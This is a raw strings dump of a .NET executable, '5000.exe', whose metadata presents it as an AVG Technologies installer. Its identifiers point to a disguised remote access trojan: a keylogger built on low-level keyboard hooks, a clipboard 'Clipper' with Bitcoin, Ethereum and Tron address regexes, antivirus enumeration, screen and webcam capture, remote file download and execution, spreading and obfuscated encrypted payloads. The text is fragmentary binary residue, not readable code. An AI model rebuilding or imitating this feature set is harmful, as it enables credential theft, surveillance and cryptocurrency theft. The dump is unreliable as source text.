!This program cannot be run in DOS mode.
`.rsrc
@.reloc
Z ?_d
_b`*
uZ/ X
v4.0.30319
#Strings
AssemblyTrademarkAttribute
System.Reflection
mscorlib
System
String
AssemblyFileVersionAttribute
AssemblyCompanyAttribute
AssemblyDescriptionAttribute
GuidAttribute
System.Runtime.InteropServices
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyTitleAttribute
CompilationRelaxationsAttribute
System.Runtime.CompilerServices
Boolean
RuntimeCompatibilityAttribute
5000.exe
<Module>
MyApplication
ApplicationBase
Microsoft.VisualBasic.ApplicationServices
Microsoft.VisualBasic
MyComputer
Computer
Microsoft.VisualBasic.Devices
MyProject
Object
MyWebServices
ThreadSafeObjectProvider`1
Settings
ClientSocket
Messages
_Closure$__1
Uninstaller
XLogger
LowLevelKeyboardProc
MulticastDelegate
Clipper
NativeMethods
ClipboardFunc
_Closure$__2
_Closure$__3
ClipboardNotification
NotificationForm
System.Windows.Forms
AlgorithmAES
Helper
LASTINPUTINFO
ValueType
EXECUTION_STATE
VB$AnonymousDelegate_0
<Module>{6684A672-49E8-414C-AB3C-950467022148}
Idt5pgryuYoFVQiX6j
oRZtxCaSAYh6EEGEIZ
SFU4mbT3GMret7THonf
WP6RZJql8gZrNhVA9v
dg3ypDAonQcOidMs0w
vXgxlLQcVHhY7dY50X
RJDcsuMfOxrTCYImPe
Attribute
iGR41459RDH4FvPdNk`1
qcBC7nbplYPB6DW0yw
QZEOeHRUkDiNqCWT0p
OFfwWh6ZIHjfnqBOWx
BIpvxRBRb2dOGl802m
VtNVUKGulysZw81C3E
MacgPI7JyVeAhNaPvd
GL8NaIwq2KOvLQhMFX
yy2w1VXOQgx806ubre
N7UlhA3IRW2ugh7tWg
RI754BJF754hNSApRW
YLCGmBEaUwBbEqLM01
AwgKvrHJUS3TxryUsj
hHEYokUTtehNq5ji0d
rE4lpnT863QnijKQK5
<PrivateImplementationDetails>{17BEF77B-1120-4E02-AF5E-2518FF4018D5}
__StaticArrayInitTypeSize=256
__StaticArrayInitTypeSize=40
__StaticArrayInitTypeSize=30
__StaticArrayInitTypeSize=32
__StaticArrayInitTypeSize=16
__StaticArrayInitTypeSize=64
__StaticArrayInitTypeSize=18
OqGFqsnlb3r0ZAVDHr
RekSXVaWjuhnaRipmG
oyg0UBFErC39BWTMl9
Y0hAfARQOSHknsoUSY
xGFhvZAOtpAurR24eF
Eo5r6MChfWOOxlvaw1
aTruejgZ79FhVlxPIP
KGbS3VeOZECS8oAl9s
qJ5oVeQOieHdy798ui
ngd676Z1ctyrs1q75R
v3vi3R3BvmMyqN19dT
A7gF7nhoyYnSBp8K4L
A8raFHXrKC42qs6DKf
AqEbijBdE4wd0GTH95
xVikvFodQtrQFnqmyo
wb6Kd2qUGtTX8vXoVa
ELSZPPHHWGpGGr8Zme
v3EH6mtjepsg8JLidK
LvwMXyDxvqMupDhWRW
hS2i0EYY8UAjmHd8KE
OVtWNTWpaaHCfgxn0R
AxF1kK9EnEsdE2ItqE
vHYvdQM37ZYTaAqpPF
ElQ16u1PudJEeW1e1t
pavWvZ7dOYPgGDc1gf
HMZrnOfPI0IoMyY2Ea
EKu6rAzrNMmtxBg1G5
A6BUEQcctGoKQCrUb5c
qf6CH5cPOcTDSbk2NCf
YhqXqbcFliJ2HWXTkVc
FgxRh0cRToeyojymepd
fjpp8ScANKLuehhXKIa
CktKpWcC3b1RhVaABBI
QIj5y1cmuWa4fFjjQZK
GEsRs3cvU8yNVAONq3V
fYRBeccGECcjApUHOET
hnh2qIcTJYq3GGjynrq
m1o7RccXZGWtfNy7c8t
WaJK3dcKOFOoNVAsSyk
zglt5Dcl2qSPh3TaxIZ
eVdR76cqpKeU4TTRN4u
b3k14QcHbO5ITbsgSWJ
IX2lqtctXEnueX58jri
vAtthlcjmmHlUPuv0Rs
c4lVhccV0Z2SMdCqfto
DVi6RpcYW8FNSpMWca4
pRC3GNcNosOh6ZuZFGQ
f37NnUcsgxulnjRDfK0
MVYsTfcrRcjdbd0Avuy
C2BV49nnLPe1SalFuNP
Frh4Buna6FyHueaStPI
nRGvCinFg91vLFiZlr3
aZc1ZcnylZqkUA9VgBf
PNpAPen2rOCf00VxXET
l3wPMBnmFRAPk4PPvQ9
WWTZx7nkVx9i5r8IOHl
QrA8sFnOQHoUbKuwpnd
o0giPcnvrjv2bbTqvEe
QeNDQ5nTWmgKMNUggq1
aEa8USnXLMLwxkVDP1j
xEtHqXnBFw0G7RnkRlR
RoUreCno426gLdNTHpm
U4ocMAndkd4IdkVnbpP
kkVtE5nt6maiFSFuItu
kDJ2BZnjKPL7AYkdxNb
yKQv71nVcBPjcPDIPO3
ghgLptn81g5soTmL6QC
cuiHaQnpZ9CCpMyC68h
P4owRGn9NQYtfremWOB
QaJYP6nMJZ3c11ntal9
JOaM9tnNfkqIY9YHhJi
gordiVnsqRqoXRgc1Dt
BwGJRZnrQUtZDSTdymX
CRlFnDP5RVUROmhl9X4
yHRLhBPPIl4ib8qkl8G
IuqW5uPI1y4rLjX82mj
XQMnlpP6N5DtPnrWyHO
EenZalPCtShhFlXp9IV
z9stMWPg7p2r2lI9DJQ
AvP3LbPkVwkksTa2Sh9
EtbMI8PO3Qg5392kMQP
WSdY0GPwoPYb1pBBtSW
kKSwdfP3Bq2BKhhrO1V
QbF47HPETBJbKuGyYhq
oFrSmAPBMKZxx3Tag6f
HcvP2fPlQJEaMAZrCFa
big2g0PdtPIxytxbRnX
Bsar84PLg2BYvFW139G
RvHLwGPj6dLHN2MiedI
mKyUQ5PMiJgy0xYHysd
Uud9BQPNvmvmUeSbv8x
E8gVbiPs5jA318O1JFB
UdgWjSP41jKay6J1Ig9
Y3hhKOPzhBd6qIGpKLp
AtXsSBaconHWo5MU1nV
dRn3sgaPaSmQStbHbMO
lFYgL0aFxjyppKSThvv
XSZXhoaAKYicTDJbev1
svdbOhauwsVrPuv9biG
HOQWlSamgkmLvq4Jl90
JHR0klakR6ggr2LUCxQ
KdcbDFaO2JqUwm1cEKr
epwAYDawRIAvEutDJ6i
nAnDvaa3WMI2o4CuMB0
irHo40ahu5ecgtnHwiH
n79Sa1aEMLQPaoX8ZFy
WFoMTvabMxfm07wdZnT
WmxMamaKwfm6MnW2Ocj
tm1mY4alHQaOqwLU9SU
Iq59MJaqBChIhYmekI4
mru8gfaHnJuJUWrTHM7
dWnLcYa06VA7SitZ1F2
gOqU3laD0VZAMIXPSmN
GTxjnsaiiP8RtEkuuBC
V13SkJa8jHbFCjdZsB2
jJZWB5apopgIaTVi2Fd
KcoE5pa7iBuBYwT5MOp
JLmbRea4jZ095I9qaNo
QtnjAOazGvOHdF0OuwN
yYhL8xIcIHpFokpWAuk
nNoyAHIaOUlRXLbOHmE
QqcdHOIFIgr8beq2xg9
tbp8kxIylsLpibIXj8R
EPoxl4Iujje0r2mPytJ
LDPV9gImnwKH8pmXAgX
tjCL6CIQ0oOaye8f2Wi
aQmmtNIvAPa36oemLd8
JDBTIxIGWjfEHAI1xTO
KLSQ38IEZBsEuGWpHIr
IwUrKRIbPp0erZNj6KL
nOHC1lIoo260FJjd071
S3B8HhIJn4KLX4MrkYs
AxOaZSIdgZdIjcdn4Wd
QTwTiRIt5KyyQR6M5VS
RqajKuIjjXqUv4seUhV
wVcUHJIVtaysXPBmtqx
jKONYUIYFfe86Omm20u
KeeXOkIWADticQmX1t9
vsEnVJf8VIAUjAqf3Z
V1YySpe2joa1FmdSxH
p706qhJysvDSPunWKP
N39q3QEpuAWPY9gHBN
pra48Eq4ZQGxxmd2P9
ps1pIAa9BQlJivET8p
m_ComputerObjectProvider
m_AppObjectProvider
m_UserObjectProvider
m_MyWebServicesObjectProvider
cGQ7fwOr2JWbYcOoev
.cctor
get_Computer
get_GetInstance
get_Application
get_User
get_WebServices
MDUTJPvytJPg0bBxWv
nEgrOw4qXjtQFijDFP
Application
WebServices
QeCvYHD0G02ZTvMxD6
Equals
GetHashCode
GetType
ToString
Create__Instance__
instance
Activator
CreateInstance
Dispose__Instance__
VfH9tUKNfM99VfT7NG
k4pUnclWdwZAcxJZmD
m_ThreadStaticValue
wTgGQ1pkUi1PHX49RG
NTVSB0ye8MTUQoZj1H
i1YoVFdTk6YFx4hpg6
GetInstance
LoggerPath
uxGl8lmYlYRupaIjRG
yBoc6wHLJGigaj6sJj
DqtJxdN102lACIH7p0
SdL7tyA95MOYedAZNQ
Thread
System.Threading
Exception
ThreadStart
IntPtr
_Lambda$__1
_Lambda$__2
_Lambda$__3
_Lambda$__4
Random
A5MsDGcvBoxAI23NVt
x7pVbrPTFb6dml1UgU
isConnected
Socket
System.Net.Sockets
BufferLength
BufferLengthReceived
Buffer
MemoryStream
System.IO
allDone
ManualResetEvent
SendSync
VtwWeSkeCPosrdWd1q
BeginConnect
TimerCallback
AddressFamily
SocketType
ProtocolType
AsyncCallback
ComputerInfo
INDATE
FileInfo
DateTime
Spread
WindowsPrincipal
System.Security.Principal
WindowsIdentity
Antivirus
ManagementObjectSearcher
System.Management
StringBuilder
System.Text
ManagementBaseObject
ManagementObjectEnumerator
ManagementObjectCollection
GetEnumerator
BeginReceive
IAsyncResult
WaitCallback
BeginRead
EndSend
isDisconnected
_Lambda$__5
_Lambda$__6
rRiXRwnGCKUXKyjXqF
YvwGhFsuruMFWQWKDB
rcr5KQ3h4YeruIQFVl
QJF2n2WpPSfsMfiGLj
ReportWindow
Handle
kAFodf29JG8VxmRjC5
WebClient
System.Net
Graphics
System.Drawing
Rectangle
Bitmap
ParameterizedThreadStart
PixelFormat
System.Drawing.Imaging
Plugin
MethodInfo
SendMSG
SendError
Stopwatch
System.Diagnostics
TimeSpan
Monitoring
List`1
System.Collections.Generic
Process
Contains
Func`2
Enumerable
System.Linq
System.Core
IEnumerable`1
OpenUrl
Hidden
HttpWebRequest
HttpWebResponse
capCreateCaptureWindowA
lpszWindowName
dwStyle
nWidth
nHeight
hwndParent
avicap32.dll
capGetDriverDescriptionA
wDriver
lpszName
cbName
lpszVer
RunDisk
Extension
ProcessStartInfo
Memory
buffer
Assembly
MethodBase
Invoke
_Lambda$__7
_Lambda$__8
U5aVsr0OZqjwhdCv8t
W886FBtyqs1Sab0APK
sZN8NaiEckskBWOReW
h8LeeqINNEYySUmnIx
VB33iS6LHWAiVAgYEr
iX7xEKTxxnesWcRvyL
$VB$Local_Host
$VB$Local_Port
zKmQc5GD8xOtJOkXFA0
_Lambda$__9
oG7lQGGK86ukoRTkQsY
ETjP7RGlU1CfD3KoOwS
FmnwKHFfNXj9NinpNI
IsUpdate
StreamWriter
PmeByXh62KFYnxtMyF
llF5gMXY1aCHigGlmy
nUt43KZr9DNxytTL9f
CurrentActiveWindowTitle
_hookID
WHKEYBOARDLL
Jny2YAMUEG2AxOIeIA
SetHook
HookCallback
wParam
lParam
KeyboardLayout
UInt32
vkCode
GetActiveWindowTitle
SetWindowsHookEx
idHook
dwThreadId
user32.dll
UnhookWindowsHookEx
CallNextHookEx
GetModuleHandle
lpModuleName
kernel32.dll
GetForegroundWindow
GetWindowThreadProcessId
lpdwProcessId
GetKeyState
keyCode
GetKeyboardState
lpKeyState
GetKeyboardLayout
idThread
ToUnicodeEx
wVirtKey
wScanCode
pwszBuff
cchBuff
wFlags
MapVirtualKey
uMapType
LoWLk09pAVYOTxfAKQ
r7pcB6YkreBKD7aRPZ
TargetObject
TargetMethod
BeginInvoke
DelegateCallback
DelegateAsyncState
EndInvoke
DelegateAsyncResult
BTCRegex
System.Text.RegularExpressions
ETHRegex
TRCRegex
CPIJe98TItRhqnTeu0
eLc5bAbVdrMtXYw6Gc
OGysxGgmomZrm48RC2
intpreclp
RoQviC50Uof8eMlhXQ
AddClipboardFormatListener
SetParent
hWndChild
hWndNewParent
Q2w6kVzuvuSQyTRyoY
O2NRReGCVNYAiJpUsX5
zmGrXRGGT1yqtveT3NB
eRnveOuVL28g9gb9RI
GetText
SetText
WdBNppBwnbbnFo0SHw
o7aa2AVPxnue5CyKgq
$VB$Local_ReturnValue
oi4CZRGpk4InwNDmtxn
_Lambda$__10
ibIVrwGyeqb47tXmFYy
un2TS7GdeovRAETrMdO
$VB$Local_txt
wntuNDGmJoY7A5AwFIb
_Lambda$__11
EV54xDGHWjcHZn58xwW
yEv3EgGNIvhBULtYMde
LLm3Sq7b9PEJCS5NIB
qtRUFvrAId601pnby3
wnHfoQxsCOBQxtfqTy
currentClipboard
R2euDcGSHlyaDByvVCs
RegexResult
pattern
WndProc
Message
get_CreateParams
CreateParams
yo7TifGojW0rk0R0UQ6
eTx4N1Gf8KV1FH0tBOe
a90rGWGe52X1HaIe1L4
PcxI7GGJSrhlkkMZBbF
WWgba4UfhDnpr8ytSe
Decrypt
RijndaelManaged
System.Security.Cryptography
ICryptoTransform
MD5CryptoServiceProvider
UTF8SB
UTF8BS
yVk4tkj7EX3W0ImF7F
xyEYWnRVWIguDBmRXN
current
idletime
lastInputInf
sumofidletime
LastLastIdletime
userAgents
_appMutex
SAwgYv1I8foUVOrBpB
GetRandomString
length
GetLastInputInfo
GetLastInputTime
Marshal
SizeOf
LastAct
GetWindowText
SetThreadExecutionState
esFlags
PreventSleep
DriveInfo
GetHashT
strToHash
SetValue
RegistryKey
Microsoft.Win32
Registry
CurrentUser
GetValue
Decompress
IDisposable
Stream
GZipStream
System.IO.Compression
CompressionMode
Compress
AES_Encryptor
AES_Decryptor
CreateMutex
CloseMutex
UTClqFQmfKWlxZHKMt
zr3S5qwOp9kmrQoPDp
yeL9WFLNYZBhDD1gg5
cbSize
dwTime
value__
ES_CONTINUOUS
ES_DISPLAY_REQUIRED
ES_SYSTEM_REQUIRED
Kh2o8BSHbd
Module
pNXJuCGk2II5f43Z6dt
gaqxTvHHF9652
typemdt
FieldInfo
kO8mkKGny9fMifmL969
qB16sMGsZTd8oIOkmto
object
method
callback
result
PRZkZqsNsa
x4Dk2IHVmX
O1BkIDx0L0
V9fkgxQPQA
LrEkS2eXQL
s6pkoGoeab
onZkkIlVOi
RSACryptoServiceProvider
Tqek0lIh21
Dictionary`2
emjkxI4Yxp
HkLkNdDPtB
OObkplyC7t
wcyk8nIyBt
aatkD4ZSGk
WaKkhokJrA
zl0ksqgIH1
Qy5kfBXtEh
MrkkWebIMK
VM5kd0GoFG
SortedList
System.Collections
XtMknffM5M
URnkCOceLK
abxkLGOVrU
rNZkehfwNu
eXJkjmTXDX
wpoklx4RIX
xo4kuDarJK
fMAkKtNIoA
CgSk1JZr60
VE2k4S5okQ
firstrundone
lmdkVksVkh
Hashtable
BV0kmUIPgx
yBRkv0eFeZ
tTVkFDSO7A
zIOkYypt1M
tuYkt9D06I
etmkyDG2SG
K7PkOHxqAd
GetTypeFromHandle
RuntimeTypeHandle
get_Assembly
RuntimeHelpers
InitializeArray
RuntimeFieldHandle
set_UseMachineKeyStore
HU5xTvHWFDiVV
ab9oDe4UH3
UInt64
BitConverter
GetBytes
TAOohhiP7R
UInt16
zDKosecjaB
ubAof6RgCm
YpJoWsPi7X
BEVodWAYPB
gX8onkMSd7
PEXoCqmS4w
SymmetricAlgorithm
AesCryptoServiceProvider
ObjectHandle
System.Runtime.Remoting
Unwrap
XS8oLZGMXn
CryptoConfig
get_AllowOnlyFipsAlgorithms
XEDoeIU7mj
HashAlgorithm
ComputeHash
vBuojdip3i
NSmolmd79S
TransformBlock
SDQoufkqT0
BinaryReader
get_BaseStream
set_Position
ReadUInt32
TAJo1U8fio
ParameterInfo
DynamicMethod
System.Reflection.Emit
ILGenerator
Monitor
GetManifestResourceStream
get_Length
ReadBytes
GetFields
BindingFlags
MemberInfo
get_MetadataToken
get_Item
get_Module
GetGenericArguments
ResolveMethod
get_IsStatic
get_FieldType
Delegate
CreateDelegate
GetParameters
get_IsValueType
MakeByRefType
get_ParameterType
GetILGenerator
OpCode
OpCodes
Ldarg_0
Ldarg_1
Ldarg_2
Ldarg_3
Ldarg_S
Tailcall
Callvirt
Ggxo4dRvtE
vC5oV1W6FK
w65ov7siki
hg2oY5yaSM
Convert
FromBase64String
Encoding
get_Unicode
GetString
FPvotekByE
svloy6EVGc
iaKoOg5GGg
GetMethod
PvroikJllY
get_Location
Exists
GetName
AssemblyName
get_CodeBase
Replace
GetProperty
PropertyInfo
H1sorrpiaP
LoadLibrary
kernel32
oGjoaYPPLS
GetProcAddress
w3ZoqRBn5p
Concat
GetDelegateForFunctionPointer
YDsoA9ylfU
mTfoQqVbOE
YeeoMqaS3J
tdOo5aPwrv
Q2sob65b9D
umLocehuEC
VZpoRI2LOR
FileStream
FileMode
FileAccess
FileShare
Njco6C1nc4
rLIoBbVVpm
ToArray
oN9oGXMAK7
CryptoStream
set_Key
set_IV
CreateDecryptor
CryptoStreamMode
JBbo7fndGL
tM1owh06yH
HpuoXD9KwB
vLyo3J8m2E
fnqoJe2xAG
IHuoEWDKCc
J6JoHkltLH
FtroUJNIfo
KIxoTLeGZr
S0yo9WrR0W
zpb1UYG0MDUDkbOM2Kg
dfNSfmGtrMbTAw9TwnE
get_DeclaringType
BRgeZMGiOGFwHZoInqv
get_ReturnType
Y3T1RbGIarwnmtYHsk8
FZmqyWG68mwnhxVQHKc
puZnj2GTsnaZXUvZWy4
YCGr4TGFVPPIZGB9HjL
op_Equality
kCwH7BGXuKi46m3N2t8
Dispose
gISRTiGZ1aFqHcyMGex
iqJwRTGYnLVyn4U7A8V
RfMboWG8TNmB4g5HoFJ
TY8vYqGbQHc4qUYy09C
G9skPDgcXb
CreateEncryptor
ToBase64String
EXaEbIGVndBQ2L3ST4M
classthis
nativeEntry
nativeSizeOfCode
JDNkifbo3S
jsbkrdexts
KPVkbuTpLj
KDikMXewCI
B2XkaLi4dH
hx5kqNgSj4
TVtkAMaqpL
ReadInt32
VDqkQKyKML
ljy9Q6G1HZ8j9Kuo691
hModule
lpName
lpType
lpAddress
dwSize
flAllocationType
flProtect
hProcess
lpBaseAddress
lpNumberOfBytesWritten
flNewProtect
lpflOldProtect
dwDesiredAccess
bInheritHandle
dwProcessId
Hh5kRkRi0A
Uj4xTvHzDkyhb
$$method0x6000317-1
$$method0x6000332-1
$$method0x6000332-2
$$method0x6000340-1
$$method0x6000340-2
$$method0x6000353-1
$$method0x6000395-1
$$method0x60005b3-1
FW2PgXhmk
xtfcRQ7hF
HklIntcMl
Q2u6vhGad
f5qcZjXwng
GmNcwdxWax
avBnGMJQ5S
q8XnhUvZsH
YV1ILdlwOb
AWqyPoIDn
RyR21FQoC
SFDiknhLJ
gsYSW7Y1T
oOQcgIC7F5
WpqcOGxtB5
EMvnLB6NeA
WX2nYMKJ8y
KunPyWhsr0
fnKP2FrQoc
BRyP1a3D7S
EYOaI2yTnP
MJPatcMnWs
CvSaftXXlB
hWvu1RMsV
NwgrGKobX
QtgngkMyrZ
rDKaULFQIW
ao0mBZmYR
zUxnchNUgK
foWkoKxII
T1VvVq1hj
FYWPeZ999P
hwBOtDh6e
SgRwJEsck
l0CGrXeJE
mq0c1SYJW3
Pmtc4U233A
VeLPxB9DJN
PlbTZY5Jp
qEqECA1mp
blIcQs8rXQ
yOscB1jrcB
JZnc9q0dgK
GQWcxLe2Vb
WRxcMAdOMW
XoucUAlmuv
sGKnRUxjim
E9tnJbgCtx
vWmnqFRadW
lDgPnOJ2sG
mvvICUFDHy
E6mbIRnoN
VXuKl7j1s
q8EjtIqB6
ASOckSEHCu
kbZIk8RLDL
k6FlFjjNM
mf9JaS7sA
NahPhSPVjA
ub0d7NdVV
hxLn14He8L
xLULZwwSQ
jW90nQSOm
u5QcWj7K8d
SocketFlags
DfxVgekfY
LdWcIPNKVD
Cbhn5GQ0AQ
t0QPVGMCbi
MTWPY9OElL
GktP8LDjVs
uHLayLdU0M
kogaM40aq5
CeMIKKmmRn
ggZ85RQJm
sK0IwGmnlA
bQYp7sR4Z
OperatingSystem
R0Lxf4VAh
eXpU6V1Zc
zIyNrjeeR
lEEsyiTZA
zec4dpA0r
lKDc5KDOHk
uxHcn5L5Mk
HQHcafSp1W
WindowsBuiltInRole
R9Wc63AZgU
ai7cyq2RG6
fgnc2Bh4G1
HeRcuOw2Ex
nDfP07i2Kr
qhmIPOReP4
o4CceJmfFR
FVbc33RKhq
cfOch9MwJJ
wrncSajJly
awScESgY6b
nWHcbC7u8K
Vq1coGpoQQ
fOZcJJTWqv
nvGcdkNQNT
E7Ha1WlqNv
MlrcL8FZrq
uhuc09JgrE
OIKcp23JI6
Yk6cDgMxVs
s13ciMvHWi
YDJPbD1kWY
OiEc8GphCH
SelectMode
g1ac7dpFs2
tVfcfmrYXH
CompareMethod
dyvczolCaA
SocketShutdown
HEqnPxrInR
Rh2nIsrbrZ
gINn6sncRC
AppWinStyle
RjtnAby3OO
dndaRYB4v8
th3nCCNxRU
wghnuK2PhA
RqHIRW0aP3
zHtITWx8hX
DBqneh2BxE
Screen
DYfnQsujhs
uTRnZPOaDv
jmGnw3A9HB
dIMn30fQls
l2WnEAquwn
CopyPixelOperation
ltrnbFogqU
GraphicsUnit
xpYnK1WpFV
ImageFormat
A1nnlT1OHs
BupnH2jIvA
DialogResult
SNFn0XT03j
AppDomain
B9pnDXtpKD
p1wniJ1wWf
jLLnWyop16
P25nSorCqN
f5BnxcSSAl
c2SnUQUACE
S4yn72pOUv
aXBPoEq476
AYBIZA1NcM
i84nfOUSq6
YYUn4ZqHem
BCuPAJUdWW
EmiaChas6Y
VM7nzIBZ5d
VBdPcGKW4P
Double
rXePaNIPk9
QLiPFCOpiL
SZSPRA5FUB
xrOPuGcCmJ
RYFPmRTRHE
SecurityProtocolType
qBrPQrvhjY
WebRequest
LpNPZhyOLj
am1Pv0Sqfg
bPPPTwdd1p
JLtPqgZmyD
EJkPiHtchj
IGqPWesJtj
fFVPGpbJWe
kttPpZ62jn
aU2PSKIgWk
efZP9oJJuo
nH2PX1a6bL
WebResponse
e39PKVJUON
pF7PJjgPlA
ProcessWindowStyle
NdDPHFTSYv
Gr0Ptm6G8J
qfVPDfV09Q
lkyPUMnXmJ
JJrP7cCrCh
ByrPfR9HZ6
wfJPrd5GlC
NVca51X4IE
pFxanV9QIb
kL7aarJJad
fv0a6OHtty
ERFa25KF5Y
dI2agQJOjI
a6raej5Wrk
ApartmentState
TpAaQ7ArhH
Hn9aZicgxV
j5Iavgsk6N
CdraGnEM7y
CipherMode
VmDaTUEHOO
C6pI2n8BCA
IumaXO94JC
kRTaBfJDPC
sf2aoa8Lk7
gvFa9WMZ7e
qivaNQrVBL
sr3aJQJGAH
WkOadg8ooc
d8UaLbKPeu
ProcessModule
nM8ajmVCHJ
bAaaV4nmEs
RdmaYWjwqX
xZLax9T0fM
SxvaWGJLY6
fikaSlnaWk
VbyasTh0lm
s5tarslM2L
RegistryKeyPermissionCheck
XABI5RWjB0
RegistryValueKind
L2KInihhdO
s5UII4Cf06
Nl4I6KFbAB
ELMIAm2jwM
St9IgGFsbo
LLQIeVPUBG
qHaIOXEDO0
ieXI3weQon
JqQIhFyQK4
N3iIXTIRee
JZtIBQ1AAx
yUiIl5FMJY
Y7CIqvZsMm
rPkIHYZYv6
go8I0pr0u7
vphIDemDX0
rimIi2WHO6
v6bI8pEy2Q
kZaIpTRukO
GetObjectValue
Interaction
Environ
Conversions
Microsoft.VisualBasic.CompilerServices
ProjectData
SetProjectError
Environment
ClearProjectError
WaitHandle
WaitOne
set_ReceiveBufferSize
set_SendBufferSize
ToInteger
Connect
EventWaitHandle
get_UserName
get_OSFullName
get_OSVersion
get_ServicePack
get_Is64BitOperatingSystem
FileSystemInfo
get_LastWriteTime
GetFileName
Operators
CompareString
GetCurrent
IsInRole
get_MachineName
get_Current
Append
MoveNext
Substring
EndReceive
ToLong
WriteByte
ThreadPool
QueueUserWorkItem
ObjectFlowControl
CheckForSyncLockOnValueType
BeginSend
Collect
Strings
Restart
Shutdown
GetTempPath
Combine
DownloadFile
AddObject
ConcatenateObject
ReadAllText
get_PrimaryScreen
get_Bounds
get_Width
get_Height
FromImage
CopyFromScreen
DrawImage
get_Jpeg
MessageBox
get_Message
get_CurrentDomain
GetTypes
get_Name
GetMethods
NewLateBinding
LateGet
ConditionalCompareObjectEqual
LateCall
ToInt32
StartsWith
ToBoolean
FromSeconds
get_Elapsed
op_GreaterThan
GetProcesses
get_MainWindowTitle
IsNullOrEmpty
ToLower
ServicePointManager
set_Expect100Continue
set_SecurityProtocol
set_DefaultConnectionLimit
Create
set_UserAgent
set_AllowAutoRedirect
set_Timeout
set_Method
GetResponse
WriteAllBytes
EndsWith
set_WindowStyle
set_Arguments
get_EntryPoint
GetTempFileName
TextWriter
WriteLine
get_StartupPath
get_ExecutablePath
set_FileName
set_CreateNoWindow
set_ErrorDialog
set_UseShellExecute
GetCurrentProcess
get_ProcessName
op_Explicit
ToUInteger
get_NewLine
GetProcessById
IsNullOrWhiteSpace
SetApartmentState
set_Mode
TransformFinalBlock
get_UTF8
get_MainModule
get_FileName
get_Chars
get_TickCount
get_Default
get_ProcessorCount
get_SystemDirectory
GetPathRoot
get_TotalSize
get_ASCII
ToUpper
CreateSubKey
ChangeType
SubtractObject
Control
get_Handle
get_Success
get_Msg
OrObject
LateSet
Clipboard
ResolveType
get_ManifestModule
GeneratedCodeAttribute
System.CodeDom.Compiler
EditorBrowsableAttribute
System.ComponentModel
EditorBrowsableState
DebuggerHiddenAttribute
HideModuleNameAttribute
StandardModuleAttribute
HelpKeywordAttribute
System.ComponentModel.Design
MyGroupCollectionAttribute
ComVisibleAttribute
CompilerGeneratedAttribute
ThreadStaticAttribute
STAThreadAttribute
DebuggerStepThroughAttribute
DebuggerDisplayAttribute
UnmanagedFunctionPointerAttribute
CallingConvention
CharSet
FlagsAttribute
m6TynPZwHTrRcKl6ey.3uBcCd7BG7MIMWIIYW
5000.g.resources
aR3nbf8dQp2feLmk31.lSfgApatkdxsVcGcrktoFd.resources
2.1.92.0
AVG Technologies CZ, s.r.o.
$460d6d36-ff60-487c-84c0-336e154f70de
.Copyright (C) 2023 AVG Technologies CZ, s.r.o.
AVG Installer
WrapNonExceptionThrows
MyTemplate
14.0.0.0
My.Computer
My.Application
My.User
My.WebServices
4System.Web.Services.Protocols.SoapHttpClientProtocol
Create__Instance__
Dispose__Instance__
<generated method>
<generated method>
dg3ypDAonQcOidMs0w.WP6RZJql8gZrNhVA9v+RJDcsuMfOxrTCYImPe+iGR41459RDH4FvPdNk`1[[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]][]
SUsSystem.Runtime.InteropServices.CharSet, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
CharSet
!t6x>i
6r39;tM*
_rl^Rl
6NJq}sw>
&gZH,n=
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ajSystem.CodeDom.MemberAttributes, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089mSystem.Globalization.CultureInfo, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089fSystem.Drawing.Size, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.CodeDom.MemberAttributes
value__
System.Globalization.CultureInfo
m_isReadOnly
compareInfo
textInfo
numInfo
dateTimeInfo
calendar
m_dataItem
cultureID
m_name
m_useUserOverride
System.Globalization.CompareInfo
System.Globalization.TextInfo%System.Globalization.NumberFormatInfo'System.Globalization.DateTimeFormatInfo
System.Globalization.Calendar
System.Globalization.CompareInfo
m_name
win32LCID
culture
m_SortVersion
System.Globalization.SortVersion
System.Globalization.TextInfo
m_listSeparator
m_isReadOnly
m_cultureName
customCultureName
m_nDataItem
m_useUserOverride
m_win32LangID
%System.Globalization.NumberFormatInfo"
numberGroupSizes
currencyGroupSizes
percentGroupSizes
positiveSign
negativeSign
numberDecimalSeparator
numberGroupSeparator
currencyGroupSeparator
currencyDecimalSeparator
currencySymbol
ansiCurrencySymbol
nanSymbol
positiveInfinitySymbol
negativeInfinitySymbol
percentDecimalSeparator
percentGroupSeparator
percentSymbol
perMilleSymbol
nativeDigits
m_dataItem
numberDecimalDigits
currencyDecimalDigits
currencyPositivePattern
currencyNegativePattern
numberNegativePattern
percentPositivePattern
percentNegativePattern
percentDecimalDigits
digitSubstitution
isReadOnly
m_useUserOverride
m_isInvariant
validForParseAsNumber
validForParseAsCurrency
Infinity
-Infinity
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Size
height
DBRfhn M
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
.3n.+DC
0/1/2/3/4/5/6/
